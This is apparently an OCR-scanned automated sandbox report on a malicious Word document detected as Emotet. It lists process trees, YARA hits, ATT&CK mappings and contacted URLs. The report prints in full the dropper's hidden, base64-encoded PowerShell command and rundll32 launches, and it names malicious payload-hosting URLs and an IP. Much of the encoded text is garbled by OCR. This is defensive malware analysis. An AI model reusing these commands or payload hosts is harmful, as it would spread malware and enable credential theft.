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Analysis Report pack 2254794.doc

Overview
General Information Detection Classification
Sample pack 2254794.doc

Name: Antivirus detection for URL or domain

Analysis ID: 336496 MALICIOUS Multi AV Scanner, detection for doma...

MDS: lelec8dd9b2514.. Multi AV Scanner. detection for subm...

SHA1L:

d7253¢fd0015dbb. Office document tries to convince Vvi...
SHA256: 048e5df452e4ba3.

System process connects to networ...
Most interesting Screenshot:

Yara detected Emotet

Creates processes via WMI

Document contains an embedded VB...

m Document contains an embedded VB...
100

Document contains an embedded VB...

Score:

Range: 0-100 Encrypted powershell cmdline option...

Whitelisted:  false

[~ cheieaara _ seoa

Confid 100% Hides that the sample has been dow...
onfidence: Q)

w
«Q
>
2
(=
=
®
(7]

Startup

= System is w7x64

. WINWORD.EXE (PID: 944 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)

cmd.exe (PID: 2288 cmdline: cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & PAOw”er"she L L -w hidden -ENCOD
JAASADUAWABVAGMARAAGACAAPQAgACAAWWBUAFKACABFAFOAKAAIAHSAMAB9AHSAMgBIAHSANABIAHSAMWBIAHSAMQBIACIAIAAIAGY AJWBTAFKAUWBUAGU
AJWASACcCAQWBUAEBAUgB5ACCALAANAEOAIWASACCAUgBFACCALAANAC4AaQBVAC4AZABIACCAKQAGACAAOWAGACAACWBFAFQALQBIAHQARQBIACAAIAAOACC
AVgANACsAIJwWBhAHIAaQBBAEIATABIACcAKWANADOARGBIAFUAIJWAPACAAIAACACAAIABbAHQAeQBWAEUAXQAOACIAewAXAHOAeWAOAHOAeWAWAHOAeWA2AHO
AewA1AHOAewAzAHOAewAyAHOAIgAgGACOAZgANAEOALgBUAEUAVAAUAFMAZQBSACCALAANAHMAWQBzAHQAJWASACCAVABNAGEATgBBAECAZQBYACCALAANAE4
AIJWASACCARQANACWAJIWBJIACCALAANAHYASQBJAEUAUABVACCAK QAPADSAJABFAHIACBVAHIAQQBJAHQAaQBVAGAAUABYAGUAZgBIAHIAZQBUAGMAZQAGADO
AIAA0ACCAUWBPACCAKWAOACCAbABIACCAKWANAGAAIWAPACSAKAANAHQAIWATACCAbABSAEMAIWAPACSAKAANAGBAIWAIACCAbgBOACCAKQArACgAIJWBpACCAKWANAGAAd
QBIACcAKQAPADSAJABIAGMANGBJADYAdQB5ADOAJABIADCANgBDACAAKWAgAFSAYWB0OAGEAcgBdACgANgAOACKAIAArACAAJABUADMANgBTADSAJABWADAAN
gBCADOAKAANAEKAMWANACsAJWASAEgAIWAPADSAIAAGACgAZWBJAEKAIAAOACIAVYBBACIAKWAIAHIAaAQBBAEIAIgArACIAbAAIACSAIgBFADOAOQALACIAKWAIAFgAdQB
DAGQAIgAPACAAIAAPACAAVBhAEWAVQBIADOAOGAIAGMAUGBIAGEAVABYAEUAZABYAEKAUGBIAEUAY ABDAFQATWBSAFKAIGAOACQASABPAEOARQAGACSAIAA
0ACgAIwB7ADAAFQBDADMACgBIACCAKWANADUAYWAZAHSAMAB9ACCAKWANAEQAaQANACSAIWBFAHAAIWATACCAMWANACSAJWBJADKAJWArACcAewAWAHOAIWA
PACOAZgAgAFSAQWBIAEEAUgBJADKAMgAPACKAOWAKAEQAMQALAEIAPQAOACYAIWBHADIAIWAIACCAOAANACKAKWANAEBAJWAPADSAIAAKAGYAaQB1ADOAOGA
IAHMAZQBgAGMAYABVAHIASQBUAFKACABSAGBAVABPAGAAYWBPAEWAIgAgADOAIAAOACGAIWBUACCAKWANAGWACWANACKAKWANADEAMgANACKAOWAKAFIAMWA
YAEYAPQA0OACCARWANACSAKAANADEANGANACSAIwBaACCAKQAPADSAJABDADCcAegBpADKAdQBLACAAPQAgACYAIWBPACCAKWAOACCAXWANACSAIWALAFOAIJWA
PACKAOWAKAFCAXWAXAEQAPQA0ACCARQANACSAKAANADEAOQANACSAIWBUACCAKQAPADSAJABXADCcAaQBVADAAdWBNADOAJABIAEBATQBFACSAKAAOACCAeWA
WAHOAJWArACgAJwBDACCcAKWANADMACgBIADUAIJWApPACsAIWBJADMAJWArACcAewANnACSAIWAWAHOARABPAFBACAAZAGMAJIWArACCAOQB7ACCAKWANADAATQA
NACKALQBGAFSAQWB0AGEAcgBdADKAMgAPACSAJABDADcAegBpADKAdQB1ACSAKAANACAAZAANACSAIWBSAGWAIWAPADSAJABIADMANgBBADOAKAANAFIAJWA
rACgAJWA2AF8AIWArACCATWANACKAKQA7ACQARWBYADY Ae ABFAGgAXWAIACIAKAANAFOAY QANACSAIWBUAHCAWWAZACCAKWANADOALWANACKAKWANACBAIWA
rACgAJWBWACCAKWANAGUAJABhAGYAJWAPACSAKAANAGKAbBABIACCAKWANAC4AYWBVACCAKQArACCAbQANACSAKAANACBAdWANACSAIWBWACCAKQArACgAIWA
tAGEAJWArACCcAZABIACCAKWANAGKAbgANACSAIWAVADQAbBQAVAEAAXQANACKAKWANAGEAIWArACgAIJWBUACCAKWANAHCAWWAZACCAKWANADOALWAVAGCAaQA
NACsAIJWB2AGKAJWAPACSAKAANAGAAZWANACSAIWBOAGGAY QANACSAIWBUAGSACWBKACCAKQAIrACCAY QBpACCAKWANAGWAIWArACgAIJWB5ACAAYWANACSAIWB
VAGOALWBXAGWARQAVAFYAZQBGACBAJWArACCAQABJAGEAJWArACcAbgAnACKAKWAOACCAdWANACSAIJWBLADMAOgAVACBAdWANACKAKWAOACCAYQBWACCAKWA
NAC4AIWAPACSAIWBEAGGAIWATACgAIWBVAGAAZWANACSAIWBSACCAKQArACcAaQANACSAKAANAHMAYWANACSAIJWAUAGMAJWArACcAbwANACsAJWBACBAdwB
WAC0AaQBUAGMAJWAPACSAKAANAGWAJQANACSAIWBKAGUACWANACSAIWAVAFEACGANACSAIWBSAEMAIWAPACSAIJWBCACBAIWATACCAQAANACSAKAANAFOAIWA
rACcAYQBUAHCAIWAPACSAKAANAFSAMWANACSAIWBzZADOALWANACSAIJWAVAGYAJWArACcAbgANACSAIWBGAGIACQAUAGMAbwWBIAC8AdwBWACO0AaQANACKAKWAOACCAbgBjA
CcAKWANAGWAJQBKAGUAJIWArACCcAcWAVACCAKQArACgAIJWBYACCAKWANAGWAUGAVAEAAIWATACCAXQBhAG4AdwBbACCAKWANADMACWANACSAIJWABACBALWBZA
GEAawAnACKAKWAOACCcAaAANACSAIWBpAHMAAQBOACCAKWANAGEAbgANACKAKWANAGKAIJWArACgAIWBUACCAKWANAGEACgBpPAGOAZQANACKAKWAOACCAZQB2A
GkAawAnACsAIJWBhAC4AIJWApPACSAKAANAGMAJIWAIACCAbwBtACBAIWAPACSAIWB3ACCAKWAOACCACAANACSAIWAIAGKAIWAPACSAKAANAGAAYWANACSAIWBSAHUAZAANACK
AKWAO0ACCAZQBzACCAKWANACBAQWB2AECAIWAPACSAKAANAFUAJWAIrACcAagB2AEUALWBAAFOAIWATACCAY QBUAHCAWWAZADOAIWArACCALWANACKAKWAOACC
ALWANACsAJWB6ACCAKWANAGKAZQBMAGWAaQB4ACCAKQArACgAIWAUACCAKWANAHQAZQBSAGUAIWArACcAcwBrACcAKWANAGBAJWArACcAcABzAHQAbWBYAGU
ALgBJAGBAJWArACCcAbQANACKAKWANACBAYWANACSAIWBNAGKAIWATACgAIJWATACCAKWANAGIAaQBUACCAKQArACgAIWAVAECAIWATACCAdAAZAFMALWBAACCAKQArACCAX
QANACsAJWBhAGA4AIJWArACgAJWB3AFSAIJWArACcAMWANACKAKWANAHMAOQGANACSAKAANACBALWBZAGBAbBQBhAGAAY QBWACAAYWBVACCAKWANAGOALWB3AHAAJ
WAFACCALQBhAGQAJIWArACCADQANACKAKWAOACCAaQBUACCAKWANACBAIWAPACSAIWBQACBAIWAPACAAIgBYAGUAUABMAGAAQQBJAEUAIgAOACIAKAANAFOAY
QANACsAJWBUAHCAIJWApPACsAIWBbACCAKWANADMAJIWAPACWAKABDAGEAcgBYAGEAeQBJACgAIWBZAGQAJWASACCACWB3ACCAKQASACJAKAANAGYAJAANACSAT
WBOACCAKQArACcAcAANACKALAANADMAZAANACKAWWAXAFOAKQAUACIAcwBgAHAADABPAFQAIgGAOACQAUQASADMASAAGACSAIAAKAEgGAYWA2AGMANgB1AHKAI
AArACAAJABIADgAOQBaACKAOWAKAEUANWALAFYAPQA0ACGAIWBIACCAKWANADEANWANACKAKWANAFgAIJWAPADSAZgBVAHIAZQBhAGMAaAAgACgAJABDAGOAa
WBIADAAbABIACAAaQBUACAAJABHAHIANgB4AF8AaABfACKkAewBOAHIAeQB7ACgALgAOACCATOBIAHCAIWAIACCALQBPAGIAagBIAGMAJWArACcAdAANACKAIABZAHKAUWB
0AGUAbQAUAE4AZQBOAC4AVWBFAGIAYWBMAEKARQBUAHQAKQAUACIAZABVAHCAYABOAGWATWBJAEEAYABEAGYASQBSAGUAIGAOACQAQWBIAGSAZQAWAGWAZQA
SACAAJABXADcAaQBVADAAJWBNACKAOWAKAFIANQALIAFMAPQA0ACCAQYANACSAKAANADYANGANACSAIWBTACCAKQAPADSASQBMACAAKAACACAAKAANAECAZQA
nACsAJWBOACOASQBOAGUAbQANACKAIAAKAFCANWBPAGBAMAB3AGCAKQAUACIADABJAEUAbgBHAGAAVABOACIAIAALAGCAZQAGADQAMWAXADIANgAPACAAeWA
MACgAJWBYAHUAbgANACSAIWBKACCAKWANAGWADBAAZADIAIJWAPACAAJABXADcAaQBVADAAdwBNACWAKAAOACCAQWBVAGAAIWArACCAdJABYAGBAIJWAPACSAKAA
NAGWAJIWArACcAXwBSAHUAIWAPACSAIWBUAEQAJWArACCATABMACCAKQAUACIAJABgAESACWBgAFQAUGBIAGAAZWAIACgJAKQA7TACQAWGAWADAAUAAIACIAKAA
NAFIAOQANACSAIWAOACCAKQArACcASgANACKAOWBIAHIAZQBhAGSAOWAKAECAOQAYAEKAPQAOACCAVQA4ACCAKWANADKAWQANACKATQBIAGMAYQBOAGMAaAB
7AHOAfQAKAFOAMQASAEOAPQAOACCASWA3ACCAKWANADKAVQANACKA MD5: 5746BD7E255DD6ABAFAO06F7C42C1BAA4L)

e W] msg.exe (PID: 2616 cmdline: msg user /v Word experienced an error trying to open the file. MD5: 2214979661E779C3E3C33D4F14E6F3AC)
e 4 powershell.exe (PID: 2548 cmdline: POwersheLL -w hidden -ENCOD JAASADUAWABVAGMARAAGACAAPQAJACAAWWBUAFKACABFAFOAKAAIAHSAMABOAHSA
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MgB9AHSANAB9AHSAMWBIAHSAMQBIACIAIAAtAGY AJWBTAFKAUWBUAGUAJWASACCAQWBUAEBAUGB5ACCALAANAEOAIWASACCAUGBFACCALAANACAAaQBVACAA
ZABJACCAKQAgACAAOWAGACAACWBFAFQALQBJIAHQARQBIACAAIAAOACCAVIANACSAIWBhAHIAaQBBAEIATABIACCAKWANADOARGBIAFUAIWAPACAAIAAOACAA
IABbAHQAeQBWAEUAXQAOACIAeWAXAHOAeWAOAHOAeWAWAHOAeWA2AHOAeWALAHOAewAZAHOAewAyAHOAIgGAGACOAZGANAEOALYGBUAEUAVAAUAFMAZQBSACCA
LAANAHMAWQBzAHQAJWASACCAVABNAGEATYBBAECAZQBYACCALAANAE4AIWASACCARQANACWAIWBIACCALAANAHYASQBJAEUAUABVACCAKQAPADSAJABFAHIA
cgBVAHIAQQBjAHQAaQBVAG4AUABYAGUAZGBIAHIAZQBUAGMAZQAJADOAIAAOACCAUWBPACCAKWAOACCADABIACCAKWANAGAAIWAPACSAKAANAHQAIWAIACCA
bAB5SAEMAJIWAPACSAKAANAGBAIWATACCcAbgBOACCAKQAIACYAIWBPACCAKWANAGAAdQBIACCAKQAPADSAJABIAGMANGBJADYAdQB5ADOAJABIJADCANGBDACAA
KWAgAFsAYWB0OAGEAcgBdACgANgAOACKAIAATACAAJABUADMANGBTADSAJABWADAANgBCADOAKAANAEKAMWANACSAIWASAEgAIWAPADSAIAAGACIAZWBIAEKA
IAACACIAVgBBACIAKWAIAHIAaQBBAEIAIgArACIAbAAIACSAIgBFADOAOQALACIAKWAIAFGAdQBDAGQAIgAPACAAIAAPACAAVYBhAEWAVQBIADOAOgAIAGMAUYBIAGEAVA
BgAEUAZABgAEKAUgBGAEUAYABDAFQATWBSAFKAIGAOACQASABPAEOARQAJACSAIAAOACYAIWB7ADAAIQBDADMACYBIACCAKWANADUAYWAZAHSAMABOACCAKW
ANAEQAaQANACSAIWBFAHAAIWATACCAMWANACSAIWBJADKAIWArACCAeWAWAHOAIWAPACOAZGAGAFSAQWBIAEEAUgBAADKAMgAPACKAOWAKAEQAMQALAEIAPQ
A0ACgAIWBHADIAIWArACCAOAANACKAKWANAEBAIWAPADSAIAAKAGYAaQB1ADOAOgAIAHMAZQBYAGMAYABVAHIASQBUAFKACABSAGBAVABPAGAAYWBPAEWAIg
AgADOAIAAOACGAIWBUACCAKWANAGWACWANACKAKWANADEAMgANACKAOWAKAFIAMWAYAEY APQAOACCARWANACSAKAANADEANGANACSAIWBAACCAKQAPADSAJA
BDADcAegBpADKAdQB1ACAAPQAGACYAIWBPACCAKWAOACCAXWANACSAIWALAFOAIWAPACKAOWAKAFCAXWAXAEQAPQAOACCARQANACSAKAANADEAOQANACSAIW
BUACCAKQApPADsAJABXADCcAaQBVADAAJWBNADOAJABIAESATQBFACSAKAAOACCAeWAWAHOAIWArACgAIWBDACCAKWANADMACYGBIADUAIWAPACSAIWBJADMAIW
ArACcAewAnACSAIWAWAHOARABPAFBACAAZAGMAIWAIACCAOQB7ACCAKWANADAAFQANACKALQBGAFSAQWBOAGEACgBAADKAMYAPACSAJABDADCAegBpADKAdQ
B1ACSAKAANACAAZAANACSAIWBSAGWAIWAPADSAJABIADMANGBBADOAKAANAFIAIWATACYAIWA2AFBAIWAIACCATWANACKAKQA7ZACQARWBYADYAeABfAGgAXW
A9ACYAKAANAFOAY QANACSAIWBUAHCAWWAZACCAKWANADOALWANACKAKWANACBAIJWArACGAIWBWACCAKWANAGUAJABhAGYAIJWAPACSAKAANAGKADABLACCAKW
ANAC4AYWBVACCAKQAIrACCADQANACSAKAANACBAAWANACSAIWBWACCAKQAIACJAIWAIAGEAIWAIACCAZABIACCAKWANAGKAbgANACSAJWAVADQABQAVAEAAXQ
AnACKAKWANAGEAJWArACgAJwBUACCAKWANAHCAWWAZACCAKWANADOALWAVAGCAaQANACSAIWB2AGKAIWAPACSAKAANAGAAZWANACSAIWBOAGIAY QANACSAIW
BUAGSACWBKACCAKQArACCAY QBpACCAKWANAGWAIWATACgAIWB5ACAAYWANACSAIWBVAGOALWBXAGWARQAVAFYAZQBGACBAIWArACCAQABIAGEAJIWArACCAbg
AnACKAKwWAOACCcAdWANACsAIWBbADMAOgAVACBAdWANACKAKWAOACCAY QBWACCAKWANACAAIWAPACSAIWBEAGIAIWATACgAIWBVAGAAZWANACSAIWBSACCAKQ
ArACcAaQANACSAKAANAHMAYWANACSAIJWAUAGMAJIWArACCcAbwANACSAIWBtACBAdwBWACOAaQBUAGMAIWAPACSAKAANAGWAdQANACSAIWBKAGUACWANACSAIW

AVAFEACgANACSAIJWB5AEMAJWAPACSAIWBCACBAIWArACCAQAANACSAKAANAFOAIWATACCAY QBUAHCAIWAPACSAKAANAFSAMWANACSAIJWBzZADOALWANACSAIW
AVAGYAJIWArACcAbgANnACsAIWBGAGIACQAUAGMAbwWBIACBAdwBWACOAaQANACKAKWAOACCAbgBJACCAKWANAGWAJQBKAGUAIWArACCcACWAVACCAKQATrACgAIwW
ByACcAKWANAGWAUQAVAEAAIWArACCAXQBhAG4AdwBbACCAKWANADMACWANACSAIJWABACBALWBzZAGEAawANnACKAKWAOACCAaAANACSAIWBpAHMAJQBOACCAKwW
AnAGEAbgAnACKAKWANAGKAIWArACgAIWBUACCAKWANAGEACgBpAGOAZQANACKAKWAOACCAZQB2AGKAawANACSAIWBhACAAIWAPACSAKAANAGMAJIWATrACcAbw
BtACBAJWAPACsAIWB3ACCAKWAOACCACAANACSAIWAIAGKAIWAPACSAKAANAGAAYWANACSAIWBSAHUAZAANACKAKWAOACCAZQBzACCAKWANACBAQWB2AECAIW
ApACsAKAANAFUAIWArACcAagB2AEUALWBAAFOAIWArACCAY QBUAHCAWWAZADOAIJWArACCALWANACKAKWAOACCALWANACSAIJWBEACCAKWANAGKAZQBMAGwWAaQ
B4ACCcAKQArACgAIWAUACCAKWANAHQAZQBsSAGUAJIWArACCcAcwBrACcAKWANAG8AJIWATrACCACABzZAHQAbwBYAGUALGBJAGBAIJWArACCcAbQANACKAKWANACBAYw
AnACsAIJWBNAGKAIWArACgAIWALACCAKWANAGIAaQBUACCAKQArACgAIJWAVAECAIWArACCAdAAZAFMALWBAACCAKQATACCAXQANACSAIWBhAGAAIWArACgAIwW
B3AFSAIJWArACCAMWANACKAKWANAHMAOgANACSAKAANACBALWBZAGBABQBhAGAAY QBWACAAYWBVACCAKWANAGOALWB3AHAAIWArACCALQBhAGQAJWAIACCADQ
ANACKAKWAOACCAaQBUACCAKWANACBAIWAPACSAIWBQACBAIWAPACAAIgBYAGUAUABMAGAAQQBJAEUAIGAOACIAKAANAFOAY QANACSAIWBUAHCAIWAPACSAIW
BbACCAKWANADMAJIWAPACWAKABDAGEACgBYAGEAeQBAACgAIWBZAGQAIWASACCACWB3ACCAKQASACJAKAANAGYAJAANACSAIWBOACCAKQAIACCACAANACKALA
ANADMAZAANACKAWWAXAFOAKQAUACIACWBgAHAADBABPAFQAIGAOACQAUQASADMASAAJACSAIAAKAEgGAYWA2AGMANgB1AHKAIAAFACAAIABIADGAOQBaACKAOW
AKAEUANWALAFYAPQA0ACJAIWBIACCAKWANADEANWANACKAKWANAFGAIWAPADSAZYBVAHIAZQBhAGMAaAAJACJAJABDAGOAawBIADAADABIACAAaQBUACAAIA
BHAHIANgB4AF8AaABfACkAewBOAHIAeQB7ACJALgAOACCATYBIAHCAIWAIACCALQBPAGIAagBIAGMAIWArACCAdAANACKAIABZAHKAUWBOAGUABQAUAE4AZQ
BOAC4AVWBFAGIAYWBMAEKARQBUAHQAKQAUACIAZABVAHCAY ABOAGWATWBJAEEAYABEAGYASQBSAGUAIgAOACQAQWBGAGSAZQAWAGWAZQASACAAJABXADCAaQ
BVADAAdWBNACKAOWAKAFIANQALAFMAPQA0ACCAQJANACSAKAANADYANgANACSAIWBTACCAKQAPADSASQBMACAAKAAOACAAKAANAECAZQANACSAIWBOACOASQ
BOAGUAbQANACKAIAAKAFCANWBPAGBAMAB3AGCAKQAUACIADABJAEUAbgBHAGAAVABOACIAIAAIAGCAZQAJADQAMWAXADIANgAPACAAeWAMACGAIWBYAHUADY
AnACsAJWBKACCAKWANAGWADAAZADIAJWAPACAAIJABXADcAaQBVADAAAWBNACWAKAAOACCAQWBVAGAAIWArACCAdJABYAGBAIWAPACSAKAANAGWAIWATACCAXW
BSAHUAJWAPACSAIWBUAEQAJIWArACCATABMACCAKQAUACIAJABJAEBACWBIAFQAUGBIAGAAZWAIACJAKQA7ACQAWIAWADAAUAAIACIAKAANAFIAOQANACSAIW
AOACCAKQArACcASgANACKAOWBIAHIAZQBhAGSAOWAKAECAOQAYAEKAPQAOACCAVQA4ACCAKWANADKAWQANACKATQBIAGMAY QBOAGMAaAB7AHOATQAKAFOAMQ
A3AEO0APQAO0ACCASWA3ACCAKWANADKAVQANACKA MD5: 852D67A27E454BD389FA7F02A8CBE23F)
. D rundll32.exe (PID: 2848 cmdline: 'C:\Windows\system32\rundll32.exe’ C:\Users\usen\C3re5c3\Di_p3c9\O_5Z.dll Control_RunDLL MD5:
DD81D91FF3B0763C392422865C9AC12E)
. D rundll32.exe (PID: 960 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\C3re5c3\Di_p3c9\O_5Z.dIl Control_RunDLL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2836 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Vgmfknuplwnwb\hrwkllpxgkmn.qzu',Control_RunDLL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2932 cmdline: C:\Windows\SysWOW&64\rundlI32.exe 'C:\Windows\SysWOW64\Jpacxmsgxplznz\gypawljxnacjh.cvj',Control_RunDLL MDS5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 3068 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Crppsin\fgsajt.gvd’,Control_RunDLL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2864 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Fohbyq\ikksw.jnv',Control_RunDLL MDS5:

51138BEEA3E2C21EC44D0932C71762A8)

= cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source

0000000B.00000002.2347135822.00000000002

Rule

JoeSecurity_Emotet

Description

Yara detected

Author

Joe Security

Strings

31000.00000020.00000001.sdmp Emotet
00000005.00000002.2096095535.00000000002 PowerShell_Case_Anomal Detects Florian Roth e 0x1f10:$s1: POwershelL
96000.00000004.00000001.sdmp y obfuscated

PowerShell

hacktools

00000008.00000002.2102461185.00000000001
C0000.00000040.00000001.sdmp

00000007.00000002.2100426425.00000000001
90000.00000040.00000001.sdmp

Copyright null 2021

JoeSecurity_Emotet

JoeSecurity_Emotet

Yara detected
Emotet

Yara detected
Emotet

Joe Security

Joe Security
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Source Rule Description Author Strings

00000007.00000002.2100502394.00000000002 JoeSecurity_Emotet Yara detected Joe Security
41000.00000020.00000001.sdmp Emotet

Click to see the 7 entries

Unpacked PEs

Source Rule Description Author Strings

8.2.rundll32.exe.1e0000.1.unpack JoeSecurity_Emotet  Yara detected Joe Security
Emotet

11.2.rundlI32.exe.210000.0.raw.unpack JoeSecurity_Emotet  Yara detected Joe Security
Emotet

9.2.rundll32.exe.170000.0.unpack JoeSecurity_Emotet  Yara detected Joe Security
Emotet

7.2.rundll32.exe.190000.0.unpack JoeSecurity_Emotet  Yara detected Joe Security
Emotet

10.2.rundlI32.exe.1c0000.0.raw.unpack JoeSecurity_Emotet  Yara detected Joe Security
Emotet

Click to see the 10 entries

Sigma Overview

No Sigma rule has matched

Signature Overview

@ AV Detection

@ Cryptography

@ Spreading

@ Software Vulnerabilities

@ Networking

@ E-Banking Fraud

® System Summary

@ Data Obfuscation

@ Persistence and Installation Behavior

@ Hooking and other Techniques for Hiding and Protection
@ Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion
@ Language, Device and Operating System Detection
@ Stealing of Sensitive Information

@

Click to jump to signature section

AV Detection: | ! |

Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Networking: | | |

E-Banking Fraud: - |

Yara detected Emotet
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System Summary:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection: I I

HIPS | PFW | Operating System Protection Evasion: I I

System process connects to network (likely due to code injection or exploit)

Stealing of Sensitive Information: I I

Yara detected Emotet

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Com
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and (
Valid Windows Path Process Disable or Modify os System Time Remote Archive Exfiltration Over Other  Ingre
Accounts Management Interception  Injection Tools Credential ~ Discovery Services Collected  Network Medium Trans
Instrumentation Dumping Data

Default Scripting Boot or Boot or Logon Deobfuscate/Decode LSASS File and Directory Remote Data from  Exfiltration Over Encry
Accounts Logon Initialization Files or Information Memory Discovery Desktop Removable Bluetooth Chan

Initialization  Scripts Protocol Media

Scripts

Domain Native API Logon Script Logon Script Scripting Security System Information SMB/Windows Data from  Automated Exfiltration Non-
Accounts (Windows)  (Windows) Account Discovery Admin Shares Network Appli
Manager Shared Layel
Drive Proto
Local Exploitation for Client Logon Script Logon Script Obfuscated Filesor  NTDS Security Software Distributed Input Scheduled Transfer Appli
Accounts Execution (Mac) (Mac) Information Discovery Component  Capture Layel
Object Model Proto
Cloud Command and Network Network Logon  Software Packing LSA Virtualization/Sandbox SSH Keylogging Data Transfer Size Fallbi
Accounts Scripting Logon Script Script Secrets Evasion Limits Chan

Interpreter

Replication PowerShell Rc.common Rc.common Masquerading Cached Process Discovery VNC GUI Input  Exfiltration Over C2 Multit
Through Domain Capture Channel Comit
Removable Credentials

Media
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Initial

Access Execution
External Scheduled Task
Remote

Services

Drive-by Command and

Compromise Scripting Interpreter

Exploit PowerShell
Public-

Facing

Application

Supply AppleScript
Chain
Compromise

Behavior Graph

Screenshots

Thumbnails

Privilege
Persistence Escalation

Startup Startup ltems
Iltems

Scheduled  Scheduled
Task/Job Task/Job

At (Linux) At (Linux)

At At (Windows)
(Windows)

Defense Evasion

Virtualization/Sandbox
Evasion

Process

Injection

Hidden Files and
Directories

Rundii32 {Y

Credential
Access

DCSync

Proc
Filesystem

Discovery

Remote System
Discovery

Network Service
Scanning

letc/passwd System Network

and

Connections

letc/shadow Discovery

Network
Sniffing

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Copyright null 2021

Process Discovery

Lateral
Movement

Windows
Remote
Management

Shared
Webroot

Software
Deployment
Tools

Taint Shared
Content

Comi
Collection Exfiltration and (
Web Portal Exfiltration Over Comi
Capture Alternative Protocol Used
Credential Exfiltration Over Appli
API| Symmetric Encrypted Layel
Hooking Non-C2 Protocol
Data Exfiltration Over Web
Staged Asymmetric Encrypted
Non-C2 Protocol
Local Data Exfiltration Over File T

Staging Unencrypted/Obfuscated Proto
Non-C2 Protocol

Hide Legend
Legend:
Process
Signature
Created File
DNS/IP Info
Is Dropped

Is Windows Process

@+ EBO0C]

*

Number of created Registry Values

TLI
s
"en

Number of created Files

5 B

Visual Basic

zz
3

ms
I8
o

)

Delphi

i
i
=

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet

L@ 2 )

e
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pack 2254794 [Compatibility Mode] - Microsoft Word

Home Insert Page Layout References Mailings Review View

aasbceDe AaBbcede AaBb( AaBbC AaBb( AaBbcel

# Format Painter

Clipboard Styles

% @4 Find ~

3¢ Replace
Change
Styles= | kg Select -

Editing

1] Office 365 B8 Microsoft

THIS DOCUMENT IS PROTECTED.

Previewing is not available for protected documents.

You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.

Page:10f1 | Words:3 | B |

e

o € €=

s=ll

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner

pack 2254794.doc 30% Virustotal

pack 2254794.doc 33% ReversingLabs
Dropped Files

No Antivirus matches

Unpacked PE Files

Source Detection Scanner Label
8.2.rundlI32.exe.1e0000.1.unpack 100% Avira TR/Crypt.
11.2.rundlI32.exe.230000.1.unpack 100% Avira TR/Crypt.
9.2.rundlI32.exe.190000.1.unpack 100% Avira TR/Crypt.
10.2.rundlI32.exe.230000.1.unpack 100% Avira TR/Crypt.
7.2.rundlI32.exe.240000.1.unpack 100% Avira TR/Crypt.

Copyright null 2021

8:49 AM
1/6/2021

= (p) [R5 ol

Label Link
Browse
Document-
Excel.Trojan.Heuristic
Link Download

XPACK.Gen Download File
XPACK.Gen Download File
XPACK.Gen Download File
XPACK.Gen Download File
XPACK.Gen Download File
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https://www.virustotal.com/gui/file/048e5df452e4ba303faa434c138839e4fdf6e8e5004ced58aa30569573eda17e/detection/f-048e5df452e4ba303faa434c138839e4fdf6e8e5004ced58aa30569573eda17e-1609839776

Domains

Source Detection Scanner Label Link
o = o e T I ===
URLs
Source Detection Scanner Label Link
cepewimen e vessasose
hitp://petafilm.com 0% Avira URL Cloud safe
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
hitp://zieflix.teleskopstore.com/cgi-bin/Gt3S/ 5% Virustotal Browse
hitp://zieflix.teleskopstore.com/cgi-bin/Gt3S/ 0% Avira URL Cloud safe
hitp://5.2.136.90/76cxdz6xxj/ul5u3hféxq6us/Ovtcgy/titp48/51uldif1fy5wigpgf/ 0% Avira URL Cloud safe
hitp://https://somanap.com/wp-admin/P/ 0% Avira URL Cloud safe

hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp://iwindowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://iwindowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://iwindowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
T Nslshe o eGS0 AWmURLOed maae
hitp://givingthanksdaily.com/qlE/VeF/ 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name Active Malicious Antivirus Detection Reputation

__-___
Contacted URLs

Name Malicious Antivirus Detection Reputation

[ e e e B R el e [T
e N e I " N

URLs from Memory and Binaries

Name Source Malicious Antivirus Detection Reputation
hitp://services.msn.com/svcs/oe/certpage.asp? rundlI32.exe, 00000006.0000000 false high
name=%s&email=%s&&Check 2.2108503830.0000000001D77000.

00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2102634716.000
0000002037000.00000002.0000000
1.sdmp

hitp:/f/www.windows.com/pctv. rundlI32.exe, 00000007.0000000 false high
2.2101604260.0000000001E50000.
00000002.00000001.sdmp

hitp://investor.msn.com rundlI32.exe, 00000006.0000000 false high
2.2107691837.0000000001B90000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2101604260.000
0000001E50000.00000002.0000000
1.sdmp

hitp://www.msnbc.com/news/ticker.txt rundlI32.exe, 00000006.0000000 false high
2.2107691837.0000000001B90000.
